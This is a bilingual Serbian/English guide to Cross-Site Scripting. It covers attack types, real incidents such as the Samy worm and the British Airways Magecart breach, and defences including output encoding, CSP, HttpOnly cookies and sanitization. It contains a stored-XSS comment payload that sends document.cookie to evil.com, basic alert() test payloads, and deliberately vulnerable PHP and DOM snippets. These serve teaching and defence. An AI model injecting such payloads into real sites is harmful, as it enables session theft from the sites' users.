XSS Napadi — Sta su i kako se zastititi

Kompletni vodic za Cross-Site Scripting: tipovi napada, realni primeri i detaljne mere zastite

#7
OWASP Top 10 (2021)
40%
Svih web ranjivosti
380K
Ukradenih kartica (BA 2018)
1M+
Zarazenih profila (Samy 2005)

1. Sta je XSS (Cross-Site Scripting)

Cross-Site Scripting (XSS) je tip web ranjivosti gde napadac uspeva da ubaci maliciozan JavaScript kod u web stranicu koju drugi korisnici gledaju. Kod se izvrsava u browser-u zrtve sa svim privilegijama koje ta stranica ima.

XSS je klasifikovan kao CWE-79 i nalazi se na OWASP Top 10 listi od njenog nastanka. U OWASP Top 10 2021, XSS je pod kategorijom A07:2021 — Cross-Site Scripting. U prethodnom izdanju (2017) bio je na poziciji #3 (A7:2017), sto pokazuje koliko je rasprostranjen.

Prema HackerOne izvestaju, XSS predstavlja oko 18% svih prijavljenih ranjivosti na bug bounty platformama.

Zasto XSS a ne CSS? Akronim CSS je vec zauzet za Cascading Style Sheets, pa se Cross-Site Scripting skracuje kao XSS.

2. Tri tipa XSS napada

Tip 1: Reflected XSS (Non-Persistent)

Najcesci tip. Payload se salje kroz URL parametar, server ga ukljuci u odgovor bez filtriranja. Zrtva mora kliknuti na pripremljeni link. Cesto se koristi u phishing kampanjama.

<!-- Ranjiv PHP kod -->
<p>Rezultati za: <?php echo $_GET['q']; ?></p>

<!-- Bezbedan kod -->
<p>Rezultati za: <?php echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); ?></p>

Tip 2: Stored XSS (Persistent)

Najopasniji tip. Maliciozan kod se cuva u bazi podataka i prikazuje svim korisnicima koji posete stranicu. Cest u komentarima, forumskim postovima i korisnickim profilima. Ne zahteva interakciju od zrtve — sama poseta stranici je dovoljna.

<!-- Napadac ostavlja komentar: -->
Odlican clanak! <script>
  new Image().src = 'https://evil.com/steal?cookie=' + document.cookie;
</script>

<!-- Svaki posetilac te stranice nesvesno salje kolacice napadacu -->

Tip 3: DOM-based XSS

Kod se nikada ne salje serveru. JavaScript na stranici koristi nesigurne DOM API-je za obradu korisnickog unosa bez sanitizacije. Server ne vidi napad jer se sve desava u browser-u.

// RANJIVO — nesiguran DOM metod ubacuje korisnicki HTML
var name = new URLSearchParams(location.search).get('name');
document.getElementById('g').insertAdjacentHTML('beforeend', name);

// BEZBEDNO — textContent enkoduje automatski
document.getElementById('g').textContent = name;

Poredjenje tipova

KarakteristikaReflectedStoredDOM-based
PersistencijaJednokratnoTrajno (u bazi)Jednokratno
VektorURL parametarBaza podatakaJavaScript/DOM
IzvrsavanjeServer + browserServer + browserSamo browser
Interakcija zrtveKlik na linkSamo poseta straniciKlik na link
Vidljivost serveruDa (u logu)Da (u bazi)Ne
OpasnostSrednjaVisokaSrednja

3. Kako XSS napad radi — korak po korak

  1. Identifikacija — Napadac pronalazi input polje ili URL parametar bez filtriranja.
  2. Kreiranje payload-a — Pravi JavaScript kod prilagodjen kontekstu (HTML, atribut, JS).
  3. Ubacivanje — Payload se unosi kroz formu, URL, ili API poziv.
  4. Isporuka — Server vraca zarazeni HTML korisnicima (ili browser sam obradjuje za DOM-based).
  5. Izvrsavanje — Browser zrtve izvrsava maliciozan kod sa privilegijama stranice.
  6. Eksfiltracija — Ukradeni podaci (kolacici, tokeni, lozinke) se salju napadacu.
Primer eksfiltracije: Napadac ubacuje nevidljivu sliku ciji URL sadrzi kolacice zrtve. Browser ucitava "sliku" i salje kolacice na napadacev server. Sve se desava nevidljivo za korisnika.

4. Realni primeri napada

Samy Worm — MySpace (2005)

Samy Kamkar kreirao XSS crv koji se automatski dodavao kao friend i kopirao u profil zrtve. Za samo 20 sati zarazeno je preko 1 milion korisnika — najbrze sireci virus ikada. MySpace je morao da ugasi ceo sajt da bi ocistio infekciju. Samy je dobio 3 godine uslovno i 90 dana drustvenog rada.

samy.pl/myspace — Originalni write-up

British Airways — Magecart (2018)

Grupa Magecart ubacila maliciozan JavaScript u BA sajt i mobilnu aplikaciju. Skripta je presretala podatke sa forme za placanje: ime, adresa, broj kartice i CVV. Napad je trajao od 21. avgusta do 5. septembra 2018, pogodivsi ~380,000 transakcija. ICO je izrekao kaznu od 20 miliona funti po GDPR-u.

Fortnite — XSS u login stranici (2019)

Istrazivaci iz Check Point-a otkrili su XSS ranjivost na starom, zaboravljenom Epic Games poddomenu. Napadac je mogao da ukrade pristupni token korisnika bez da zna lozinku — dovoljno je bilo da zrtva klikne na link. Sa 200+ miliona igraca u to vreme, potencijalni uticaj bio je ogroman. Epic Games je brzo zakrpio ranjivost nakon prijave.

eBay XSS (2015–2016)

Prodavci su mogli da ubacuju JavaScript u opise proizvoda. Stored XSS je omogucavao preusmeravanje kupaca na phishing sajtove ili kradju sesije. Problem je bio posebno opasan jer je eBay dozvoljavao HTML u opisima.

jQuery — CVE-2020-11022

XSS ranjivost u jQuery verzijama 1.2 do 3.5.0. Metoda .html() bila je ranjiva kad se koristila sa nepouzdanim HTML-om. S obzirom da jQuery koristi 77%+ sajtova (W3Techs), ovo je pogodilo ogroman broj aplikacija. Fix: upgrade na 3.5.1+.

CVE-2020-11022 — NVD

jQuery UI — CVE-2021-41184

Datepicker widget bio je ranjiv na XSS kroz altField opciju. Fiksovano u verziji 1.13.0.

CVE-2021-41184 — NVD

5. Posledice XSS napada

  • Kradja sesije — Napadac preuzima nalog zrtve citajuci document.cookie
  • Phishing — Lazni login form prikazan preko legitimnog sajta
  • Defacement — Promena izgleda sajta, unistavanja reputacije
  • Preusmeravanje — Korisnik se salje na maliciozne sajtove bez znanja
  • Keylogging — Snimanje svih tastera koje korisnik pritisne na stranici
  • Kradja kartica — Presretanje podataka sa formi za placanje (Magecart tehnika)
  • Malware distribucija — Automatsko preuzimanje malvera na racunar zrtve
  • Cryptojacking — Rudarenje kriptovaluta u browser-u zrtve
  • GDPR kazne — Kompanija koja ne zastiti korisnike moze dobiti kaznu do 4% globalnog prometa

6. Zastita: Output Encoding

Najvaznija mera zastite — konvertovanje specijalnih karaktera u bezbedne ekvivalente pre prikazivanja korisnickih podataka.

HTML kontekst

// BEZBEDNO — textContent ne parsira HTML
element.textContent = userInput;

// Rucno HTML enkodovanje
function htmlEncode(str) {
  return str.replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;');
}

// PHP
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

// Django — automatski enkoduje u template-ima
{{ user_input }}

JavaScript kontekst

// BEZBEDNO — data atributi umesto inline JS
var name = document.getElementById('user').dataset.name;

// NIKAD nemojte ovo:
// var name = '{{ user_input }}';  <-- XSS ako input sadrzi '

URL kontekst

// Uvek koristite encodeURIComponent za parametre
var url = '/profil?name=' + encodeURIComponent(userInput);

OWASP XSS Prevention Cheat Sheet

7. Zastita: Content Security Policy (CSP)

CSP ogranicava koje skripte browser sme da izvrsi. Cak i ako napadac ubaci kod, CSP ga blokira jer nema dozvolu za izvrsavanje.

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-R4nd0m123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  object-src 'none';
  base-uri 'self';
  form-action 'self';

Nonce-based pristup

Server generise random nonce za svaki zahtev. Samo skripte sa tacnim nonce atributom se izvrsavaju. Ovo je preporuceni pristup po CSP Level 3.

<!-- Sa nonce-om — browser izvrsava -->
<script nonce="R4nd0m123">console.log('Ova skripta radi');</script>

<!-- Bez nonce-a — browser BLOKIRA -->
<script>alert('Ova skripta je blokirana');</script>
strict-dynamic: CSP 3 direktiva 'strict-dynamic' dozvoljava nonce skriptama da ucitavaju dodatne skripte bez eksplicitnog nonce-a.

MDN — CSP | Security Headers vodic

8. Zastita: HttpOnly kolacici

HttpOnly flag sprecava JavaScript pristup kolacicima — document.cookie nece vratiti HttpOnly kolacice. Cak i ako XSS uspe, napadac ne moze da ukrade sesiju.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

// PHP
session_set_cookie_params([
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);

// Express.js
app.use(session({
  cookie: { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 3600000 }
}));

// Django settings.py
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_SAMESITE = 'Strict'
CSRF_COOKIE_HTTPONLY = True

SameSite atribut

  • Strict — Kolacic se salje samo za zahteve sa istog sajta (najbezbednije)
  • Lax — Salje se za navigacione GET zahteve sa drugih sajtova (browser default od 2020)
  • None; Secure — Uvek se salje, ali zahteva HTTPS (za cross-site integracije)

9. Zastita: Input validacija i sanitizacija

Whitelist pristup (preporucen)

function validateUsername(input) {
  return /^[a-zA-Z0-9_]{3,20}$/.test(input);
}
function validateEmail(input) {
  return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(input);
}

DOMPurify — sanitizacija HTML-a

import DOMPurify from 'dompurify';

// Osnovna sanitizacija
var clean = DOMPurify.sanitize(dirtyHTML);

// Sa whitelist-om
var clean = DOMPurify.sanitize(dirtyHTML, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
  ALLOWED_ATTR: ['href', 'title', 'target']
});

// Python — bleach biblioteka
import bleach
clean = bleach.clean(dirty, tags=['b', 'i', 'a'], attributes={'a': ['href']})

Framework zastite

FrameworkAuto-escapingOpasne funkcije (izbegavajte!)
ReactDa (JSX enkoduje)Unsafe innerHTML wrapper metod
AngularDa (templates)bypassSecurityTrust metode
Vue.jsDa ({{ }})v-html direktiva
DjangoDa (templates)|safe filter, mark_safe()
Laravel/BladeDa ({{ }}){!! !!} sintaksa
ASP.NET RazorDa (@)@Html.Raw()
Defense in Depth: Kombinujte output encoding + CSP + HttpOnly kolacice + input validaciju + sanitizaciju za kompletnu zastitu. Nijedan mehanizam sam nije dovoljan.

10. Kako testirati sajt na XSS

Testiranje za XSS je kritican deo bezbednosnog audita.

Automatski alati

  • OWASP ZAP — Besplatan, open-source proxy sa XSS skenerom
  • Burp Suite — Profesionalni alat sa naprednim XSS detekcijom (Community verzija je besplatna)
  • XSS Hunter — Specializovan za otkrivanje blind XSS ranjivosti
  • Nuclei — Template-based skener sa XSS proverama

Manuelno testiranje

<!-- Osnovni test payloadi -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

<!-- Testirati u: -->
<!-- 1. Sva input polja (pretraga, komentari, profil) -->
<!-- 2. URL parametri (?q=, ?name=, ?redirect=) -->
<!-- 3. HTTP headeri (Referer, User-Agent) -->
<!-- 4. Kolacici -->
<!-- 5. File upload imena -->

Browser DevTools

  • Console tab — pratite CSP greske i blokirane skripte
  • Network tab — proverite da li se Content-Security-Policy header salje
  • Application tab — proverite da li kolacici imaju HttpOnly flag
Web Security Scanner: Nas alat automatski proverava CSP header, HttpOnly kolacice i druge bezbednosne konfiguracije vaseg sajta.

11. Reference i resursi

Skenirajte vas sajt na XSS ranjivosti →

XSS Attacks — What they are and how to protect yourself

Complete guide to Cross-Site Scripting: attack types, real-world examples, and detailed protection measures

#7
OWASP Top 10 (2021)
40%
Of all web vulnerabilities
380K
Cards stolen (BA 2018)
1M+
Infected profiles (Samy 2005)

1. What is XSS (Cross-Site Scripting)

Cross-Site Scripting (XSS) is a web vulnerability where an attacker injects malicious JavaScript into a page viewed by other users. Classified as CWE-79. OWASP Top 10 2021: A07:2021 (previously #3 in A7:2017). About 18% of bug bounty reports (HackerOne).

2. Three types of XSS attacks

Type 1: Reflected XSS (Non-Persistent)

Most common. Payload sent via URL, server includes it in response without filtering. Victim must click crafted link.

<!-- Vulnerable (PHP) -->
<?php echo $_GET['q']; ?>

<!-- Secure -->
<?php echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); ?>

Type 2: Stored XSS (Persistent)

Most dangerous. Code stored in database, displayed to all visitors. Common in comments, forums, profiles. No interaction needed.

Type 3: DOM-based XSS

Never sent to server. JavaScript uses unsafe DOM APIs with user input.

// VULNERABLE — unsafe DOM method inserts user HTML
element.insertAdjacentHTML('beforeend', userInput);

// SAFE — textContent auto-encodes
element.textContent = userInput;
FeatureReflectedStoredDOM-based
PersistenceOne-timePermanentOne-time
ExecutionServer+browserServer+browserBrowser only
DangerMediumHighMedium

3. How XSS works — step by step

  1. Find vulnerability — Unfiltered input field
  2. Inject payload — Malicious JS stored in database
  3. Deliver to victim — Server sends infected HTML
  4. Browser executes — JS runs with page privileges
  5. Data exfiltration — Stolen data sent to attacker

4. Real-world examples

Samy Worm — MySpace (2005)

XSS worm infected 1M+ users in 20 hours. Fastest-spreading virus ever. Details

British Airways — Magecart (2018)

Malicious JS intercepted payment data from 380,000 transactions. £20M fine by ICO for GDPR violations.

Fortnite — Login page XSS (2019)

Check Point researchers found XSS on a forgotten Epic Games subdomain. Could steal access tokens from 200M+ players. Patched quickly after disclosure.

jQuery — CVE-2020-11022

XSS in jQuery 1.2–3.5.0 via .html(). 77% of websites affected. Fix: upgrade to 3.5.1+.

jQuery UI — CVE-2021-41184

Datepicker XSS via altField. Fixed in 1.13.0.

5. Consequences

  • Session hijacking — Steal session cookies via document.cookie
  • Phishing — Fake login forms on legitimate domains
  • Defacement — Alter page content
  • Redirection — Send users to malicious sites
  • Keylogging — Record keystrokes
  • Card theft — Intercept payment data (Magecart)
  • Malware — Drive-by downloads
  • Cryptojacking — Mine cryptocurrency in victim's browser
  • GDPR fines — Up to 4% of global revenue

6. Protection: Output Encoding

// Safe — textContent
element.textContent = userInput;

// HTML encoding
function htmlEncode(s) {
  return s.replace(/&/g,'&amp;').replace(/</g,'&lt;')
          .replace(/>/g,'&gt;').replace(/"/g,'&quot;');
}

// PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// Django: {{ user_input }} auto-encodes
// URL: encodeURIComponent(userInput)

OWASP XSS Prevention Cheat Sheet

7. Protection: Content Security Policy

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-R4nd0m123';
  object-src 'none';
  base-uri 'self';

Nonce-based: server generates random nonce per request. Only scripts with matching nonce execute.

MDN — CSP | Security headers guide

8. Protection: HttpOnly cookies

Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict;

// Express.js
app.use(session({ cookie: { httpOnly: true, secure: true, sameSite: 'strict' } }));

// Django
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True

9. Protection: Input validation and sanitization

function validateUsername(input) {
  return /^[a-zA-Z0-9_]{3,20}$/.test(input);
}

// DOMPurify
import DOMPurify from 'dompurify';
var clean = DOMPurify.sanitize(dirtyHTML, {
  ALLOWED_TAGS: ['b', 'i', 'a', 'p'],
  ALLOWED_ATTR: ['href']
});
FrameworkAuto-escapingDangerous functions
ReactYes (JSX)Unsafe innerHTML wrapper
AngularYesBypass trust methods
Vue.jsYes ({{ }})v-html
DjangoYes|safe, mark_safe()
LaravelYes ({{ }}){!! !!}
ASP.NET RazorYes (@)@Html.Raw()
Defense in Depth: Combine encoding + CSP + HttpOnly + validation + sanitization. No single mechanism is enough.

10. Testing for XSS

Automated tools

  • OWASP ZAP — Free, open-source proxy with XSS scanner
  • Burp Suite — Professional XSS detection (Community edition free)
  • XSS Hunter — Specialized for blind XSS
  • Nuclei — Template-based scanner with XSS checks

Manual testing

<!-- Basic test payloads -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>

<!-- Test in: input fields, URL params, HTTP headers, cookies, file upload names -->

11. References and resources

Scan your site for XSS vulnerabilities →